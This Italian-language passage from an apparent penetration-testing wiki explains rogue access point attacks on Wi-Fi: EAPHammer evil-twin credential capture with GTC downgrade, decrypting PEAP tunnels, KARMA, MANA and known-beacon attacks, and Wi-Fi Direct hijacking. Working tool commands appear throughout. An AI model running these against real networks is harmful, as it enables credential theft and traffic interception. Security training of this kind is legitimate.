Utilizzo di EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Di default, EAPHammer utilizza questi metodi di autenticazione (notare GTC come primo tentativo per ottenere le password in chiaro e successivamente l'uso di metodi di autenticazione più robusti):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Questo è il metodo predefinito per evitare lunghi tempi di connessione. Tuttavia, è anche possibile specificare al server i metodi di autenticazione da più deboli a più forti:

--negotiate weakest

Oppure è possibile utilizzare:

  • --negotiate gtc-downgrade per utilizzare un'implementazione altamente efficiente del downgrade GTC (password in chiaro)

  • --negotiate manuale --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP per specificare manualmente i metodi offerti (offrendo gli stessi metodi di autenticazione nello stesso ordine dell'organizzazione, l'attacco sarà molto più difficile da rilevare).

Utilizzando Airgeddon

Airgeddon può utilizzare certificati precedentemente generati per offrire autenticazione EAP alle reti WPA/WPA2-Enterprise. La rete falsa abbasserà il protocollo di connessione a EAP-MD5 in modo da poter catturare l'utente e l'MD5 della password. Successivamente, l'attaccante può provare a craccare la password. Airggedon ti offre la possibilità di un attacco Evil Twin continuo (rumoroso) o creare solo l'attacco Evil fino a quando qualcuno si connette (silenzioso).

Debugging dei tunnel TLS PEAP ed EAP-TTLS negli attacchi Evil Twins

Questo metodo è stato testato in una connessione PEAP ma poiché sto decrittando un tunnel TLS arbitrario, dovrebbe funzionare anche con EAP-TTLS

All'interno della configurazione di hostapd-wpe commentare la riga che contiene dh_file (da dh_file=/etc/hostapd-wpe/certs/dh a #dh_file=/etc/hostapd-wpe/certs/dh) Questo farà sì che hostapd-wpe scambi le chiavi utilizzando RSA invece di DH, in modo da poter decrittare il traffico in seguito conoscendo la chiave privata del server.

Ora avvia l'Evil Twin utilizzando hostapd-wpe con quella configurazione modificata come al solito. Inoltre, avvia wireshark nell'interfaccia che sta eseguendo l'attacco Evil Twin.

Ora o in seguito (quando hai già catturato alcuni tentativi di autenticazione) puoi aggiungere la chiave privata RSA a wireshark in: Modifica --> Preferenze --> Protocolli --> TLS --> (elenco chiavi RSA) Modifica...

Aggiungi una nuova voce e compila il modulo con questi valori: Indirizzo IP = qualsiasi -- Porta = 0 -- Protocollo = dati -- File chiave (seleziona il tuo file chiave, per evitare problemi seleziona un file chiave senza protezione password).

E guarda la nuova scheda "TLS decrittato":

Attacco KARMA, MANA, Loud MANA e beacon conosciuti

ESSID e liste nere/bianche MAC

Diversi tipi di Liste di Filtri di Controllo dell'Accesso ai Media (MFACLs) e le relative modalità ed effetti sul comportamento di un Punto di Accesso (AP) rogue:

  1. Whitelist basata su MAC:

  • Il rogue AP risponderà solo alle richieste di sonda dai dispositivi specificati nella whitelist, rimanendo invisibile a tutti gli altri non elencati.

  1. Blacklist basata su MAC:

  • Il rogue AP ignorerà le richieste di sonda dai dispositivi nella blacklist, rendendo effettivamente invisibile il rogue AP a quei dispositivi specifici.

  1. Whitelist basata su SSID:

  • Il rogue AP risponderà solo alle richieste di sonda per gli ESSID specifici elencati, rendendosi invisibile ai dispositivi il cui elenco delle reti preferite (PNLs) non contiene quegli ESSID.

  1. Blacklist basata su SSID:

  • Il rogue AP non risponderà alle richieste di sonda per gli ESSID specifici nella blacklist, rendendosi invisibile ai dispositivi che cercano quelle reti particolari.

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Questo metodo permette a un attaccante di creare un punto di accesso (AP) maligno che risponde a tutte le richieste di scansione provenienti dai dispositivi che cercano di connettersi alle reti. Questa tecnica inganna i dispositivi facendoli connettere all'AP dell'attaccante imitando le reti che i dispositivi stanno cercando. Una volta che un dispositivo invia una richiesta di connessione a questo AP fraudolento, completa la connessione, portando il dispositivo a connettersi erroneamente alla rete dell'attaccante.

MANA

Successivamente, i dispositivi hanno iniziato a ignorare le risposte di rete non richieste, riducendo l'efficacia dell'attacco karma originale. Tuttavia, è stato introdotto un nuovo metodo, noto come attacco MANA, da Ian de Villiers e Dominic White. Questo metodo coinvolge l'AP maligno nel catturare le Liste di Rete Preferite (PNL) dai dispositivi rispondendo alle loro richieste di scansione broadcast con nomi di reti (SSID) precedentemente richiesti dai dispositivi. Questo sofisticato attacco elude le protezioni contro l'attacco karma originale sfruttando il modo in cui i dispositivi ricordano e danno priorità alle reti conosciute.

L'attacco MANA opera monitorando sia le richieste di scansione dirette che broadcast dai dispositivi. Per le richieste dirette, registra l'indirizzo MAC del dispositivo e il nome della rete richiesta, aggiungendo queste informazioni a un elenco. Quando viene ricevuta una richiesta broadcast, l'AP risponde con informazioni corrispondenti a una qualsiasi delle reti presenti nell'elenco del dispositivo, invitando il dispositivo a connettersi all'AP maligno.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

Un attacco Loud MANA è una strategia avanzata da utilizzare quando i dispositivi non utilizzano probing diretto o quando le loro Liste di Rete Preferite (PNL) sono sconosciute all'attaccante. Si basa sul principio che i dispositivi nella stessa area probabilmente condividono alcuni nomi di reti nelle loro PNL. Invece di rispondere selettivamente, questo attacco trasmette risposte di probing per ogni nome di rete (ESSID) trovato nelle PNL combinate di tutti i dispositivi osservati. Questo approccio ampio aumenta la possibilità che un dispositivo riconosca una rete familiare e cerchi di connettersi al rogue Access Point (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Attacco Beacon conosciuto

Quando l'attacco Loud MANA potrebbe non essere sufficiente, l'attacco Beacon conosciuto presenta un altro approccio. Questo metodo forza il processo di connessione simulando un AP che risponde a qualsiasi nome di rete, passando in rassegna un elenco di potenziali ESSID derivati da un wordlist. Questo simula la presenza di numerosi network, sperando di trovare un ESSID all'interno del PNL della vittima, provocando un tentativo di connessione all'AP fabbricato. L'attacco può essere amplificato combinandolo con l'opzione --loud per un tentativo più aggressivo di intrappolare i dispositivi.

Eaphammer ha implementato questo attacco come un attacco MANA in cui tutti gli ESSID all'interno di un elenco vengono caricati (è anche possibile combinare questo con --loud per creare un attacco Loud MANA + Beacon conosciuti):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Attacco Known Beacon Burst

L'attacco Known Beacon Burst coinvolge la trasmissione a raffica di frame beacon per ciascun ESSID elencato in un file. Ciò crea un ambiente denso di reti fittizie, aumentando notevolmente la probabilità che i dispositivi si connettano all'AP fraudolento, specialmente se combinato con un attacco MANA. Questa tecnica sfrutta la velocità e il volume per sovraccaricare i meccanismi di selezione della rete dei dispositivi.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct è un protocollo che consente ai dispositivi di collegarsi direttamente tra loro utilizzando il Wi-Fi senza la necessità di un tradizionale punto di accesso wireless. Questa capacità è integrata in vari dispositivi Internet of Things (IoT), come stampanti e televisori, facilitando la comunicazione diretta dispositivo-dispositivo. Una caratteristica notevole di Wi-Fi Direct è che un dispositivo assume il ruolo di un punto di accesso, noto come proprietario del gruppo, per gestire la connessione.

La sicurezza delle connessioni Wi-Fi Direct è stabilita attraverso Wi-Fi Protected Setup (WPS), che supporta diversi metodi per l'accoppiamento sicuro, tra cui:

  • Configurazione tramite pulsante di accoppiamento (PBC)

  • Inserimento del PIN

  • Comunicazione in prossimità (NFC)

Questi metodi, in particolare l'inserimento del PIN, sono suscettibili alle stesse vulnerabilità di WPS nelle reti Wi-Fi tradizionali, rendendoli bersagli per simili vettori di attacco.

EvilDirect Hijacking

EvilDirect Hijacking è un attacco specifico a Wi-Fi Direct. Riflette il concetto di un attacco Evil Twin ma mira alle connessioni Wi-Fi Direct. In questo scenario, un attaccante si finge un legittimo proprietario del gruppo con l'obiettivo di ingannare i dispositivi affinché si connettano a un'entità maliziosa. Questo metodo può essere eseguito utilizzando strumenti come airbase-ng specificando il canale, l'ESSID e l'indirizzo MAC del dispositivo impersonato:

Riferimenti

TODO: Dai un'occhiata a https://github.com/wifiphisher/wifiphisher (accesso con Facebook e imitazione di WPA nei portali cattivi)

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Approfondimenti sull'Hacking Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking

Notizie sull'Hacking in Tempo Reale Resta aggiornato sul mondo dell'hacking ad alta velocità attraverso notizie e approfondimenti in tempo reale

Ultime Novità Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated